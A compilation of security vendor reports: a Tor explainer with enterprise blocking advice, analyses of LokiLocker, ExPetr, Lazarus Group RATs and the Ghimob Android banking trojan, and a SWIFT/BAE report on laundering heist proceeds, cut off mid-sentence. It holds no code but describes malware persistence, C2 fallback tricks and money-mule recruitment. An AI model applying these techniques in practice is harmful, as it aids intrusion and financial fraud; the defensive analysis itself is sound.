cooperate to create a key only known to them on a public network where anyone can read all communication? The answer is the Diffie-Hellman key Exchange (DHE) protocol. The idea is that first, both parties need to individually generate their own private secrets that they combine into a shared secret that only the two of them can compute. In practice, authenticated ECDHE based on elliptic cryptography is used to solve issues with vanilla DHE. At this point, Emilia could go to each Tor node and establish a key with them individually, but that would reveal her identity to each of them. The second piece of the puzzle is establishing the keys using DHE. Instead of communicating directly with all three nodes, after establishing a key with the entry node, Emilia’s computer encrypts all messages and sends the message to the relay node through the entry node. This means that the relay node only knows the entry node and not Emilia. Similarly, Emilia’s computer encrypts DHE messages and sends them through the guard and relay nodes to the exit node. Unfortunately, barely after Emilia learned about Tor and started using it, the Lemonheads started censoring connections to publicly advertised Tor node IPs. To counter such efforts, volunteers started running secret Tor bridges (private replacement of publicly advertised entry nodes) and made them available in small batches to only a few users at a time. Making the matter worse for Emilia and her fellow orange-lovers, researchers found that they can discover Tor bridges by scanning the entire IPv4 space. In conclusion, it turns out to be a continuous cat and mouse game for someone like Emilia to maintain anonymity online. ## Malicious and Benign Use Cases for Tor Internet users utilize Tor for many malicious and benign purposes. Political activists want to make sure that their identity remains secret and they cannot be tied back to activities condemned by their government. Other users might want to protect their privacy and keep the sites they visit secret, even if the activity is not illicit where they live. People might use Tor to reach geographically restricted content or to circumvent censorship by their government or content blocking by their institution. For example, if Tor traffic is not blocked, customers of Advanced URL Filtering could not stop employees using Tor from circumventing category-based filtering. Tor is also famous for its onion services. For example, Tor helps to hide multiple whistleblower websites where users can report illicit and immoral activities in their organizations without having to worry about retaliation. An onion service keeps its IP address secret by allowing users to connect only using Tor. The idea is that both the user and the onion service connect through Tor, and they meet in the middle at a rendezvous point (a Tor node). While the goal of these onion services is not necessarily to enable illicit activities, past studies have found that Tor users established a large fraction or the majority of Tor hidden services for illegal purposes. However, only 6.7% of all Tor users connect to hidden services. The vast majority of users visit clear websites that are less likely to be illicit than onion services. For example, more than a million people use Tor to view Facebook’s hidden service allowing access from areas where governments censor it. Attackers can leverage Tor for their activities too. Attacks usually start with reconnaissance, where the attacker explores the target’s infrastructure and searches for potential vulnerabilities, for example, by scanning for open ports and running services. Using Tor, attackers can hide their location and distribute their activity to multiple exit nodes. Similarly, malicious actors can use Tor for later steps of an attack, such as exploiting vulnerabilities found during reconnaissance, updating malicious code on the target’s machine, command and control communication, and data exfiltration. Other malicious uses of Tor include DoS attacks, fake account creation, spamming, and phishing. Miscreants have utilized Tor for ransomware attacks in a variety of ways. In the case of Ryuk and Egregor ransomware, the initial Remote Access Trojan (RAT) called SystemBC used a Tor hidden service as a backdoor for command and control communications. Using Tor hidden services for command and control is useful when building bots as this makes the command and control hard to take down and maintains its accessibility unless connections to Tor are blocked. The Gold Waterfall threat group also used Tor for backdoor communication when installing DarkSide ransomware. Tor hidden service-based leak sites have also been utilized to host stolen data related to DarkSide and Ranzy locker. Additionally, DoppelPaymer used Tor payment sites to collect ransoms. Unit 42 recently published research on Cuba Ransomware, which uses a Tor hidden service-based leak site, and BlueSky ransomware, which sends a ransom note instructing targets to download the Tor browser as part of the process of regaining access to their files. Tor usage is not specific to malware targeting servers and personal computers. A type of Android malware also uses a Tor hidden service as a command and control server to make takedowns hard. Additionally, researchers found that Tor is used to send various malicious spam messages, often in the form of comments and dating spam. The authors also found that emails sent through Tor can contain severe threats, including the distribution of AgentTesla RAT, Adobe-themed phishing emails, and Covid-19 loan scams. ## How Do Criminals Using Tor Get Caught? While Tor provides better anonymity than many other solutions, it is not perfect. In 2013, a Harvard student tried to avoid taking one of his final exams by sending a bomb threat. He connected through Tor to an anonymous email provider to keep his identity secret. Then he used this email provider to send the bomb threat. While he used Tor properly, the student made a big mistake when he connected to Tor from Harvard’s wifi network. The student’s mistake was that Tor hides what you do, but not the fact that you use Tor. Authorities found out from the email’s headers that someone used Tor to send the email. From there, they checked the network logs to see if any student connected to Tor around the time the university received the email. Connecting the dots, they found the culprit, who faced criminal charges. Ross Ulbricht, the creator of the infamous onion service Silk Road, also used Tor correctly but made a different operational mistake that led to his arrest. Silk Road was the most well-known dark web market at its time, where sellers offered goods like drugs, counterfeit cash, forged ID documents, and firearms. The FBI found that early on, someone using the pseudonym “Altoid” was astroturfing to promote the Silk Road marketplace. Eight months later, Ulbricht posted a job advertisement using this pseudonym and the contact [email protected] to hire an IT expert who can help with “a venture backed Bitcoin startup company.” The FBI was reportedly then able to access both the logs of a VPN server Ulbricht used and Google’s log of access to his Gmail address. Both records pointed to an internet cafe in San Francisco and led to his arrest. Attackers can deanonymize Tor users via other methods, for example, by using JavaScript or by setting up rogue Tor nodes. The takeaway is that while Tor does offer a level of anonymity, users can leak their identity via operational mistakes, or they can be identified if the observer is determined and has the resources. ## Methods to Block Tor Traffic To stop traffic to and from the Tor network, we can either block publicly advertised Tor IPs or identify and block Tor application traffic. We can use the list of known exit node IPs to block attacks from Tor such as reconnaissance, exploitation, command and control communication, data exfiltration, and DoS attacks. Using the list of known guard node IPs, we can stop our users and their machines from sending traffic to Tor and prevent data exfiltration, command and control communication, evasion of geo-restrictions and content blocking, and visits to .onion sites. As the list of Tor bridge nodes is unknown, guard node IP-based blocking is only a partial solution. Instead, we can directly detect and block Tor traffic using App-ID, the Palo Alto Networks traffic classification system. Next to using available guard and bridge node IPs, App-ID looks at characteristics of connections – such as the cipher suite used or the size of data packets – to identify Tor traffic. Furthermore, an attacker can initiate data exfiltration and command and control communication from the Tor network or the compromised machine. Therefore, to halt these attacks, it is best to use both exit IP-based and traffic analysis-based blocking. Palo Alto Networks collects all publicly advertised Tor exit IPs and builds a circuit using each of them to test whether they work. The known and working Tor exits list constitutes our predefined Tor Exit IP External Dynamic List. Using the Tor Exit IP External Dynamic List and App-ID, we observe that Tor usage is common in the enterprise, as we identified 6,617,473 sessions on 691 devices within 204 customer networks during one month. Along with blocking Tor traffic, an enterprise can leverage endpoint protections such as Cortex XDR to provide coverage for Tor-based threats. Cortex XDR builds on user and entity behavior analytics (UEBA), endpoint detection and response (EDR), network detection and response (NDR), and cloud audit logs to detect the following activities: ## Conclusion Tor provides anonymity to its users, which they leverage for both benign and malicious uses. On the one hand, Tor can help political activists in oppressive regimes, improve privacy, and protect whistleblower websites. On the other hand, Tor is useful for various malicious activities, including anonymous reconnaissance, data exfiltration, evasion of geo-restrictions, evasion of content blocking, and the running of illicit marketplaces on the dark web. As cybercriminals often use Tor for malicious purposes, blocking Tor traffic in an enterprise setting is advisable. We find that attempts to use Tor are common, and we identified 6,617,473 sessions to or from 691 devices on 204 customer networks in one month. Palo Alto Networks provides two solutions for blocking Tor traffic as part of Threat Prevention that are best used together. We provide a verified and built-in Tor Exit IP External Dynamic List to our customers that they can use to block connections to Tor Exit nodes. Additionally, Tor traffic in the enterprise network can be blocked using the Palo Alto Networks traffic classification system App-ID. Furthermore, customers can leverage Cortex XDR to alert on and respond to Tor-related activities on endpoint devices, in the network, or in the cloud.
# LokiLocker: A Ransomware Similar to BlackBit Being Distributed in Korea By AhnLab_en May 15, 2023 AhnLab Security Emergency Response Center (ASEC) has confirmed the distribution of the LokiLocker ransomware in Korea. This ransomware is almost identical to the BlackBit ransomware, and their common traits have been mentioned before in a previous blog post. A summary of these similarities is as follows. ## Similarities Between LokiLocker and BlackBit - Disguised as svchost.exe - Same obfuscation tool used (.NET Reactor) - Registered to the task scheduler and registry (persistence of malware) - Ransom note and the new file icon image set after encryption ### BlackBit Ransomware Being Distributed in Korea **Disguised as svchost.exe** The BlackBit ransomware, which was covered in a previous post, disguised itself as a svchost.exe file. Similarly, the recently discovered LokiLocker ransomware was also found disguised as a svchost.exe file. **Same packer used (.NET Reactor)** A .NET Reactor was used to obfuscate the code and deter analysis. By looking at the unpacked BlackBit ransomware, it becomes clear that the malware was derived from the LokiLocker ransomware. **Registered to the task scheduler and registry (persistence of malware)** Similarities have also been found in their behavioral aspects. The LokiLocker ransomware registers itself to the task scheduler and registry under the name "Loki" before it starts its encryption process. The ransomware also generates its ransom note before it begins encrypting. Afterward, it carries out actions such as deleting volume shadows to prevent recovery, as well as behaviors aimed at obstructing detection and leaking information. **Ransom note and the new file icon image set after encryption** After successfully infecting a system, LokiLocker creates a ransom note named Restore-My-Files.txt in each infected folder path, containing the message below. The ransom note and the icon of the infected files that have been confirmed were also found to be very similar to those of the BlackBit ransomware. AhnLab’s anti-malware software, V3, detects and responds to LokiLocker ransomware with a variety of detection points, including file detection and behavior-based detection. To prevent ransomware infection, users must be cautious of running files from unknown sources and make sure to scan suspicious files with an anti-malware program while also keeping the program updated to the latest version. AhnLab’s anti-malware software, V3, detects and blocks the malware using the following aliases: **[File Detection]** Ransomware/Win.Loki.C5421356 (2023.05.03.00) **[Behavior Detection]** Ransom/MDP.Delete.M2117 **[IOC]** d03823a205919b6927f3fa3164be5ac5 Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. **Categories:** Malware Information **Tagged as:** Ransomware
# ExPetr/Petya/NotPetya is a Wiper, Not Ransomware ## Incidents 28 Jun 2017 After an analysis of the encryption routine of the malware used in the Petya/ExPetr attacks, we have thought that the threat actor cannot decrypt victims’ disk, even if a payment was made. This supports the theory that this malware campaign was not designed as a ransomware attack for financial gain. Instead, it appears it was designed as a wiper pretending to be ransomware. Below the technical details are presented. First, in order to decrypt the victim’s disk, the attackers need the installation ID. In previous versions of “similar” ransomware like Petya/Mischa/GoldenEye, this installation ID contains crucial information for the key recovery. After sending this information to the attacker, they can extract the decryption key using their private key. Here’s how this installation ID is generated in the ExPetr ransomware: This installation ID in our test case is built using the CryptGenRandom function, which is basically generating random data. The following buffer contains the randomly generated data in an encoded “BASE58” format: If we compare this randomly generated data and the final installation ID shown in the first screen, they are the same. In a normal setup, this string should contain encrypted information that will be used to restore the decryption key. For ExPetr, the ID shown in the ransom screen is just plain random data. That means that the attacker cannot extract any decryption information from such a randomly generated string displayed on the victim, and as a result, the victims will not be able to decrypt any of the encrypted disks using the installation ID. What does it mean? Well, first of all, this is the worst-case news for the victims – even if they pay the ransom, they will not get their data back. Secondly, this reinforces the theory that the main goal of the ExPetr attack was not financially motivated, but destructive. Our friend Matt Suiche from Comae Technologies independently came to the same conclusion. ## Data Encryption ### Malware Descriptions - Petya - Ransomware - Wiper ## From the same authors - Sodin ransomware exploits Windows vulnerability and processor architecture - KeyPass ransomware - SynAck targeted ransomware uses the Doppelgänging technique - Mining is the new black - Bad Rabbit ransomware ## Reports - APT trends report Q1 2022: This is our latest summary of advanced persistent threat (APT) activity, focusing on events that we observed during Q1 2022. - Lazarus Trojanized DeFi app for delivering malware: We recently discovered a Trojanized DeFi application that was compiled in November 2021. This application contains a legitimate program called DeFi Wallet that saves and manages a cryptocurrency wallet, but also implants a full-featured backdoor. - MoonBounce: the dark side of UEFI firmware: At the end of 2021, we inspected UEFI firmware that was tampered with to embed a malicious code we dub MoonBounce. In this report, we describe how the MoonBounce implant works and how it is connected to APT41. - The BlueNoroff cryptocurrency hunt is still on: It appears that BlueNoroff shifted focus from hitting banks and SWIFT-connected servers to solely cryptocurrency businesses as the main source of the group’s illegal income.
# Novetta Novetta is an advanced analytics company that extracts value from the increasing volume, variety, and velocity of data. By mastering scale and speed, our advanced analytics software and solutions deliver the actionable insights needed to help our customers detect threat and fraud, protect high-value networks, and improve the bottom line. For innovative solutions for today’s most mission-critical, advanced analytics challenges, contact Novetta: Phone: (571) 282-3000 | www.novetta.com --- ## 1. Introduction This report details some of the technical findings of the Lazarus Group’s malware, observed by Novetta during Operation Blockbuster. We recommend reading the initial report prior to the reverse engineering reports for more details on the operation and the Lazarus Group. This reverse engineering report looks at the RATs and staging malware found within the Lazarus Group’s collection. A Remote Administration Tool (RAT), or Remote Administration Trojan, is a piece of malicious code that gives an attacker control over certain aspects of the infected system. At a minimum, a RAT allows an attacker to execute commands on a victim’s machine. A typical RAT also provides functionality to upload and download files from a victim’s computer as well. The most common communication mode for a RAT is to act as a client to a remote server. The Lazarus Group employs a variety of RATs that operate in both client mode and server mode. In server mode, a RAT waits for an incoming connection from a C2 client which requires the infected host to have a routable IP address and the ability to listen on a given port. The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers, each identifier coming from the International Civil Aviation Organization (ICAO)’s phonetic alphabet, commonly referred to as the NATO phonetic alphabet. The first identifier specifies the general classification of the malware family while the second identifier specifies the specific family within the larger general classification. For example, RomeoAlfa specifies a RAT family identified as Alfa. ### First Level Identifiers | FIRST LEVEL IDENTIFIER | GENERAL CLASSIFICATION | |------------------------|------------------------| | Delta | DDoS | | Hotel | HTTP Server | | India | Installer | | Lima | Loader | | Kilo | Keylogger | | Papa | Proxy | | Romeo | RAT | | Sierra | Spreader | | Tango | Tool (Non-classed) | | Uniform | Uninstaller | | Whiskey | Destructive Malware (“Wiper”) | There is no temporal component to the second level identifiers given to malware families. While generally the second identifiers are largely sequential (Alfa, Bravo, Charlie, and so on), the identifier does not indicate that one family came before another chronologically. Instead, the second level identifiers were assigned by the order Novetta discovered each particular family. --- ## 2. Romeo - CoreOne Design Pattern A large portion of the Lazarus Group’s RAT collection stems from a common core, Romeo-CoreOne (R-C1); the individual families that use R-C1 need only provide the scaffolding to support the R-C1 code. At a minimum, each family that is built upon R-C1 must provide an interface to their specific communications abstraction and a method by which to activate the R-C1 functionality. The general flow of execution for families that use R-C1 is as follows: 1. Dynamically load API functions 2. Perform any configuration management tasks that the family may require (e.g., loading the configuration, opening listening ports, establishing persistence) 3. Establish a communication channel with controlling endpoint 4. Pass off the channel to the R-C1 component There are five known families that are based on, or that incorporate, R-C1: RomeoAlfa, RomeoBravo, RomeoCharlie, RomeoHotel, and RomeoNovember. In addition to the four families having commonality through the use of R-C1, two of the families, RomeoAlfa and RomeoHotel, share the distinctive fake TLS communication scheme and use the Caracachs encryption scheme as their underlying communication encryption. RomeoBravo, RomeoCharlie, and RomeoNovember use DNSCALC-style encoding for communication encryption. --- ## 3. [RAT] RomeoAlfa RomeoAlfa is a client-mode RAT that utilizes the R-C1 framework and command set. There are two observed variants, RomeoAlfa-One and RomeoAlfa-Two. Functionally, each variant performs the same basic operations and supports the same R-C1 command set. What differentiates the variants are subtle, but important, structural changes. ### Key Differences between RomeoAlfa-One and RomeoAlfa-Two | FEATURE | ROMEOALFA-ONE | ROMEOALFA-TWO | |-------------------------------------------|----------------|----------------| | Configuration initialization | Performed in WinMain | Performed in separate function, called by main | | Dynamic API loading string obfuscation | Space-Dot | Caracachs | | Romeo-CoreOne base command number | 0x873B | 0x8374 | | Request Channel | 0x6456 | 0x3594 | | Configuration data structure size | 728 bytes | 2784 bytes | The most apparent difference between RomeoAlfa-One and RomeoAlfa-Two is the configuration initialization component of the RomeoAlfa scaffolding code. The initialization of the configuration in both RomeoAlfa variants is functionally identical. The difference between the two is the location of the code. While RomeoAlfa-One performs the initialization inline within the WinMain function, RomeoAlfa-Two has a separate function responsible for initializing the configuration parameters and dynamically loading the API functions. --- ## 4. [RAT] RomeoBravo With a striking resemblance to RomeoAlfa, RomeoBravo is a client-mode RAT based on R-C1 that operates as either a service DLL or standalone executable. The most notable differences between RomeoAlfa and RomeoBravo are the inclusion of an external configuration file and the use of DNSCALC-style encoding to obscure communication in place of the fake TLS scheme. RomeoBravo is a service DLL and as such contains the necessary Windows service scaffolding code to operate as a legitimate Windows service. In order to operate as a Windows service, RomeoBravo exports the function ServiceMain which contains the functionality to provide callback functions for handling service requests from the operating system. ServiceMain also contains dynamic API loading functions for API functions from kernel32.dll, ws2_32.dll, advapi32.dll, and iphlpapi.dll using Space-Dot obfuscation for the API names. After loading the configuration, RomeoBravo randomly selects a C2 server address from the loaded configuration. RomeoBravo attempts to connect to the selected C2 server address if the address is not 0.0.0.0. If the connection to the C2 server fails or the randomly selected C2 server address is 0.0.0.0, a new C2 server is randomly selected and another attempt occurs. If 10 unsuccessful attempts to connect to a C2 server occur, RomeoBravo sleeps for a defined period of time before attempting the random C2 server selection and connection process again. --- ## 5. [RAT] RomeoCharlie With observed compile dates going back to February 5, 2014, RomeoCharlie is one of the oldest R-C1-based RATs in the Lazarus Group’s collection. A server-mode RAT, RomeoCharlie uses DNSCALC-style encoding for network communication and RSA encryption for client authentication. There are two observed variants, RomeoCharlie-One and RomeoCharlie-Two. The differences between the two are cosmetic in nature. ### Key Differences between RomeoCharlie-One and RomeoCharlie-Two | FEATURE | ROMEOCHARLIE-ONE | ROMEOCHARLIE-TWO | |-------------------------------------------|-------------------|-------------------| | Dynamic APIs Loaded | 114 Functions from 10 DLLs | 103 Functions from 4 DLLs | | Start of Execution | ServiceMain | DllMain | | Configuration Location | HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\x c123465-efff-87cc-37a bcdef9 | HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\ffcf3465-efff-87cc-37a bcdef9 | | Startup Delay | 0 Seconds | 3 Seconds | | Romeo-CoreOne Commands | 19 | 20 | RomeoCharlie-One operates as a service DLL that dictates that the binary must conform to the basic guidelines of a Windows service – specifically, the export of the ServiceMain function. RomeoCharlie-Two, on the other hand, does not require the complete Windows services scaffolding and therefore does not export ServiceMain, nor does it even contain a ServiceMain-type function. Instead, execution of the RomeoCharlie-Two code begins in DllMain as a newly generated thread. Both variants of RomeoCharlie begin, after the dynamic API loading, by loading their configuration from the registry into memory. The configuration for RomeoCharlie is generated and stored under the registry branch HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security. With the configuration of the RomeoCharlie variants loaded into memory, the differences between RomeoCharlie-One and RomeoCharlie-Two cease. RomeoCharlie is a server-mode RAT and, as such, must establish a listening port. Before a listening port is established at the Winsock level, RomeoCharlie first opens a hole in the Windows Firewall to allow incoming connections on the desired listening port (as specified in the configuration). If RomeoCharlie is unable to execute the firewall command or bind a socket to the desired listening socket, the malware quietly stops executing. If, however, RomeoCharlie is successful in binding a listening socket and opening the firewall for the socket, the malware enters an infinite loop that waits for incoming connections. For each incoming connection, a new thread is spawned for the R-C1 MessageThread to handle the client’s requests.
# Ghimob: A Tétrade Threat Actor Moves to Infect Mobile Devices Guildma, a threat actor that is part of the Tétrade family of banking trojans, has been working on bringing in new techniques, creating new malware, and targeting new victims. Recently, their new creation, the Ghimob banking trojan, has been a move toward infecting mobile devices, targeting financial apps from banks, fintechs, exchanges, and cryptocurrencies in Brazil, Paraguay, Peru, Portugal, Germany, Angola, and Mozambique. Ghimob is a full-fledged spy in your pocket: once infection is completed, the hacker can access the infected device remotely, completing fraudulent transactions with the victim’s smartphone to avoid machine identification, security measures implemented by financial institutions, and all their antifraud behavioral systems. Even if the user has a screen lock pattern in place, Ghimob is able to record it and later replay it to unlock the device. When the cybercriminal is ready to perform the transaction, they can insert a black screen as an overlay or open some website in full screen. While the user looks at that screen, the criminal performs the transaction in the background using the financial app running on the victim’s smartphone that the user has opened or logged into. From a technical standpoint, Ghimob is also interesting in that it uses C2s with fallback protected by Cloudflare, hides its real C2 with DGA, and employs several other tricks, posing as a strong competitor in this field. However, there are no signs of MaaS (malware-as-a-service). Compared to BRATA or Basbanke, another mobile banking trojan family originating in Brazil, Ghimob is far more advanced and richer in features, with strong persistence. ## Multiplatform Financial Attack While monitoring a Guildma Windows malware campaign, we found malicious URLs used for distributing both ZIP files for Windows boxes and APK files, all from the same URL. If the user-agent that clicked the malicious link is an Android-based browser, the file downloaded will be the Ghimob APK installer. The APKs thus distributed pose as installers of popular apps; they are not on Google Play but rather hosted on several malicious domains registered by Guildma operators. Once installed on the phone, the app will abuse Accessibility Mode to gain persistence, disable manual uninstallation, and allow the banking trojan to capture data, manipulate screen content, and provide full remote control to the fraudster: a very typical mobile RAT. Our telemetry shows that all victims of the Ghimob mobile banking trojan are located in Brazil at the moment, but like all other Tétrade threat actors, Ghimob has big plans to expand abroad. To lure the victim into installing the malicious file, the email is written as if from a creditor and provides a link where the recipient could view more information, while the app itself pretends to be Google Defender, Google Docs, WhatsApp Updater, etc. ## A Persistent RAT in Your Pocket As soon as the malware is launched, it tries to detect common emulators, checks for the presence of a debugger attached to the process and the manifest file, and also checks for a debuggable flag. If any of these are present, the malware simply terminates itself. Newer versions of the malware have moved the emulator names to an encrypted configuration file. If those previous checks are passed, the user is then presented with the default Android accessibility window, as the malware heavily relies on accessibility to work. Once infection is completed, the malware proceeds to send an infection notification message to its notification server. This includes the phone model, whether it has a screen lock activated, and a list of all installed apps that the malware has as a target, including version numbers. Ghimob spies on 153 mobile apps, mainly from banks, fintechs, cryptocurrencies, and exchanges. By analyzing the malware, it is possible to see all the apps monitored and targeted by the RAT. These are mainly institutions in Brazil (where it watches 112 apps), but since Ghimob, like other Tétrade threat actors, has been moving toward expanding its operations, it also watches the system for cryptocurrency apps from different countries (thirteen apps) and international payment systems (nine apps). Also targeted are banks in Germany (five apps), Portugal (three apps), Peru (two apps), Paraguay (two apps), Angola, and Mozambique (one app per country). The malware also blocks the user from uninstalling it, restarting, or shutting down the device. ## Fallback C2s for Complete Remote Control Once installation is completed, Ghimob tries to hide its presence by hiding the icon from the app drawer. The malware will decrypt a list of hardcoded C2 providers from its configuration file and contact each in order to receive the real C2 address, a technique we call “fallback channels.” The C2 providers found are the same across all samples we analyzed, but the directory parameters of the request to obtain the real C2 vary among different samples, returning a different set of real C2 addresses. All communication is done via the HTTP/HTTPS protocol. Instead of recording the user screen via the MediaProjection API, like BRATA does, Ghimob sends accessibility-related information from the current active window. All the commands used by the RAT are described in our private report for customers of our Financial Threat Intel Portal. ## Conclusions It took some time for Brazilian crooks to decide to try their hand at creating a mobile banking trojan with a worldwide reach. First, we saw Basbanke, then BRATA, but both were heavily focused on the Brazilian market. In fact, Ghimob is the first Brazilian mobile banking trojan ready to expand and target financial institutions and their customers living in other countries. Our telemetry findings have confirmed victims in Brazil, but as we saw, the trojan is well prepared to steal credentials from banks, fintechs, exchanges, crypto-exchanges, and credit cards from financial institutions operating in many countries, so it will naturally be an international expansion. We believe this campaign could be related to the Guildma threat actor, a well-known Brazilian banking trojan, for several reasons, but mainly because they share the same infrastructure. It is also important to note that the protocol used in the mobile version is very similar to that used for the Windows version. We recommend that financial institutions watch these threats closely while improving their authentication processes, boosting anti-fraud technology and threat intel data, and trying to understand and mitigate all of the risks that this new mobile RAT family poses. All the details, IoCs, MITRE ATT&CK Framework data, Yara rules, and hashes relating to this threat are available to the users of our Financial Threat Intel services. Kaspersky products detect this family as Trojan-Banker.AndroidOS.Ghimob. ## Indicators of Compromise **Reference hashes:** - 17d405af61ecc5d68b1328ba8d220e24 - 2b2752bfe7b22db70eb0e8d9ca64b415 - 3031f0424549a127c80a9ef4b2773f65 - 321432b9429ddf4edcf9040cf7acd0d8 - 3a7b89868bcf07f785e782b8f59d22f9 - 3aa0cb27d4cbada2effb525f2ee0e61e - 3e6c5e42c0e06e6eaa03d3d890651619 - 4a7e75a8196622b340bedcfeefb34fff - 4b3743373a10dad3c14ef107f80487c0 - 4f2cebc432ec0c4cf2f7c63357ef5a16 **Tags:** Brazil, Cryptocurrencies, Financial malware, Google Android, Malware Technologies, RAT Trojan, Trojan Banker
# Understanding the Money Laundering Techniques that Support Large-Scale Cyber-Heists ## Summary SWIFT plays a key role in helping its community to reinforce and safeguard the integrity of the global financial ecosystem, maintaining a relentless focus on security. As part of that focus, SWIFT has an ongoing commitment to intelligence sharing and thought leadership that contribute to the community’s understanding of the cyber threat and tactics of cyber criminals. One area of interest is the approaches cyber criminals use to extract money after executing a successful attack. With this in mind, SWIFT commissioned BAE Systems to research and write this report. Its aim is to illuminate the tactics and techniques used by cyber criminals to cash out, enabling the SWIFT community to better protect itself through cybersecurity controls and financial crime compliance processes. Large-scale cyber heists, where cyber-attackers manage to steal significant amounts of money from banks, continue to create news headlines. Various reports have been produced on how some of these attacks succeed and how organizations can mount better defenses. BAE Systems and SWIFT have jointly published reports on cyber heist techniques used against financial institutions and the evolution of the cyber threat to the banking community in 2017 and 2019 respectively. However, there has not been significant material published on what happens to funds after they have been stolen. This report focuses on that area, specifically the money laundering activities necessary for cyber-attackers to conduct and cash out a successful attack while avoiding detection. This report describes how money laundering is typically performed in the context of large-scale cyber heists. It illustrates key parts of the typical processes used by cyber criminals with examples to help inform readers on areas to focus on to better prevent, detect, and respond to money laundering. Additionally, the report offers perspectives on areas where controls could be improved and how money laundering techniques may evolve. ## Introduction The activities of all cyber criminals, whether working individually, as part of a small gang, organized crime groups, or even for a nation state, have resulted in annual total cyber-crime revenue estimated at USD 1.5 trillion. Banks remain a prime target for cyber criminals because they are critical infrastructure that can facilitate direct access to cash and funds. The financial industry, however, is not an easy target. Banks, law enforcement, and industry bodies continue to evolve cyber defenses, improve information sharing, and regularly prevent money from ultimately being stolen, even when the first stage of a cyber-attack may have seemed successful. Cross-industry efforts such as SWIFT’s Customer Security Programme (CSP), which provides tools, information, and a framework to help the SWIFT community secure itself, continue to evolve to mitigate cyber-attacks. For example, 91% of SWIFT customers, representing 99% of SWIFT traffic, attested to their compliance with controls set out by the latest Customer Controls Security Framework, a set of security controls that serve as the cornerstone of CSP. Additionally, banks have improved response security controls, such as the ability to stop or recall fraudulent payment instructions when identified quickly enough. However, the lure of targeting banks for ready access to cash remains prevalent, and attackers continue to develop their techniques. In recent years, many attacks have shifted from targeting high-value payment systems to targeting ATM networks and related systems. While these may seem to have a lower inherent value, they have proven to be a successful alternate route for attackers. Regardless of the cyber-attack method, the challenge all criminals face after a successful cyber-attack is obtaining cash or other liquid financial assets perceived as ‘clean’, i.e., where it is not possible to tell it is from the proceeds of crime. This is where the need for money laundering comes in. The money laundering techniques described in this report are relevant to large-scale cyber heists against banks’ high-value payment systems and ATM-related systems, including back-office payment systems. Such cyber attacks involve manipulating or subverting the correct operation of high-value payment systems or management systems controlling ATMs. This paper does not specifically consider what happens to money stolen in other financial crime-related attacks, such as physical attacks against individual ATMs, card skimming and cloning, banking Trojans and malware, authorized push payment, or business email compromise type attacks. However, the money laundering techniques and controls described are likely relevant in many of these cases. ## Money Laundering Overview In the strictest sense, money is laundered whenever a person or business deals in any way with another person or organization’s benefits from crime. Traditionally, money laundering has been described as a process that takes place in three stages: placement, layering, and integration: - **Placement**: Criminally derived funds are introduced into the financial system. In the case of an ATM-style attack or a cyber heist against a bank’s high-value payment systems, placement covers the initial fraudulent movement of funds. - **Layering**: Illicit funds are moved through the financial system to disguise their origin and ownership. This is the most substantive phase of the process. - **Integration**: Laundered funds are re-introduced into the legitimate economy or reinvested into the criminal enterprise. Various methods underpin how funds are typically removed from a bank during a large-scale cyber heist, as well as the money laundering techniques that aim to conceal their subsequent movement. There can also be significant overlap between the money laundering phases in reality. ### Typical Money Laundering Phases **Preparatory Money Laundering Activities**: Activities performed prior to the attack being executed, relevant to the ‘cash out’ process. **Conduct Heist and Move Stolen Funds**: - **Placement**: Criminally derived funds are introduced into the financial systems. - **Layering**: Illicit funds are moved through a series of transactions to disguise origin and ownership. - **Integration**: Laundered funds are re-introduced into the legitimate economy. The following sections describe each of these four money laundering-related phases in more detail, covering: - Preparatory activities - Placement - Layering - Integration ### 3.1 Preparatory Activities For large-scale cyber heists to be successfully executed, attackers need to perform several steps in advance. Money laundering steps the attackers need to complete include: - Setting up or gaining access to bank accounts into which stolen funds can be initially received. In the case of ATM-related heists, attackers need to recruit and train money mules to take the stolen cash out of the ATMs. - Recruiting money mules to transfer the stolen funds out of those accounts. #### 3.1.1 Account Setup Setting up accounts to be used in a cyber heist is a key step, as these accounts will be the destination of the funds after they have been stolen, also known as the ‘end-beneficiary’. There have been many instances where these accounts have been set up in good faith, believing that the account holders are genuine and of decent integrity, due to the use of false identification documents or legitimate identification documents from individuals coerced by criminals. Existing accounts may also be used, where an individual who no longer requires their valid account hands it over to someone else. To avoid suspicion, fraudulent accounts might be set up several months before the heist, remaining empty and unused. Assigning fake projects and companies to these accounts serves to give credibility and explain why they will receive large money transfers. Additionally, accounts linked to fake organizations may be set up to be used as a hub for stolen funds after they have been transferred to the initial fraudulent accounts. The effectiveness of a financial institution’s Know Your Customer (KYC) and screening processes are important factors, likely explaining why certain institutions in certain jurisdictions are targeted for illicit activity. The KYC process is vital for validating users, from simple name screening to enhanced due diligence (EDD). If these processes are weak or ineffective, or if staff is poorly trained, it allows these checks to be ineffective. There have been cases where a complicit or coerced insider has helped to evade scrutiny of compliance teams. For ATM cashouts, the nature of account setup differs depending on the method used: - **ATM FASTCash** involves the fraudulent duplication of legitimate cards, requiring cyber criminals to access customer records. - **ATM cashouts** involve an insider creating a phantom transfer of funds to accounts owned by recruited money mules, using fake identities to conceal the mule’s identity. - **ATM management cashouts** that involve a cyber intrusion do not require accounts to be set up. #### 3.1.2 Recruit Money-Mules A common denominator in cyber heists is the essential function of the money mule. Their role provides obfuscation in the chain between the initial fraud in the bank and the transfer of stolen funds to cyber criminals. Accounts used for money-muling may be created by those complicit in the criminal activity or may belong to unsuspecting individuals tricked into allowing their account to be used for criminal purposes. Actions that qualify as money-mule support include: - Someone’s bank account being controlled and taken over by a cyber criminal. - Receiving funds into a bank account before onward transfer to a cyber criminal. - Using a fake identity to open an account for the sole purpose of benefiting a cyber criminal. - Re-shipping items purchased by a cyber criminal using stolen banking details. - Collecting stolen funds via ATM cashouts. Cyber criminals have become more creative in recruiting money mules, often duping innocent victims into laundering money with promises of easy money through seemingly legitimate job advertisements, online posts, and social media. Some job advertisements target individuals in countries that are not typical financial targets, further obfuscating the recruitment process. Many money mule recruitment efforts focus on young adults, including those seeking to fund higher education and adults recently out of work, who are likely to jump at the chance to earn extra cash. Some cyber criminals part of large organized crime groups can draw upon associates for money-muling purposes. For nation-state cyber groups specializing in ATM FASTCash techniques, links with various criminal groups in East Asia are utilized to recruit money mules to withdraw cash from ATMs. ### 3.2 Placement Placement involves the initial movement of stolen funds into the financial system. This can be the initial account into which stolen funds are 